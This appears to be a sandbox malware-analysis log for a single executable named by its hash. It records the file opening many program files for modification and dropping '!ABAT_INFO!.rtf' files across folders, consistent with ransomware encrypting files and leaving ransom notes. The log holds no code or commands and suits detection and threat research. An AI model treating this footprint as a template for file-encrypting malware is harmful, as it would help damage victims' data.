81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\AppConfig.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Pontianak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Yerevan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Copenhagen 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Templates\Graph.jtp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\VDK10.RSD 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Bermuda 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-7 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\ct.sym 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.filetransfer_5.0.0.v20140827-1444.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\[email protected] 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Detroit 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\London 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\doclib.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerConstraints.exsd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Brunei 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Nassau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Antarctica\Vostok 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\rmic.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-annotations-common_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Bangkok 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\gu.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ulaanbaatar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\setEmbeddedCP.bat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightDemiBold.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Omsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Easter 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Windows Mail\wab.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jmc.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Danmarkshavn 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-sampler_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\javaws.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Fakaofo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\management\snmp.acl.template 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Bucharest 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\leftnav.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3_0.12.0.v20140227-2118.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-attach.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\Vdk10.rst 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-awt_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-14 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Templates\Dotted_Line.jtp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annots.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\VDK10.LIC 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\WidevineCdm\_platform_specific\win_x64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jrunscript.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.ui.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\updater.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBlue.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Ojinaga 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Eirunepe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Budapest 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Taipei 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Optional\README.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\ReadOutLoud.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaSansRegular.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.p2.ui.overridden_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Currie 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Karachi 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\management\management.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Caracas 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.property.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\date-span-16.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.emf.ecore_2.10.1.v20140901-1043.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Gaza 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Tbilisi 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\PST8PDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.security_8.1.14.v20131031.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\gtkTSFrame.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\images\cursors\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\PDIALOG.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\chrome_proxy.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jar.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fontconfig.bfc 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Matamoros 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Zurich 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-2 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.di.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\boot_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-ui_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.workbench.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\jaccess.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Algiers 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Nicosia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-host-remote.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Hermosillo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Templates\Month_Calendar.jtp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Accessibility.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\AccessBridgeCalls.c 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Oral 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Cairo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+2 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-api_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Tokyo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Photo Viewer\ImagingDevices.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-4 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.RSA 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\cmm\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\Center 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\fil.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\VisualElements\SmallLogoBeta.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Brisbane 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\title.htm 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-api_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+3 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\pingsender.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Pago_Pago 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\org.eclipse.equinox.p2.metadata.repository.prefs 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\net.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\firefox.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png 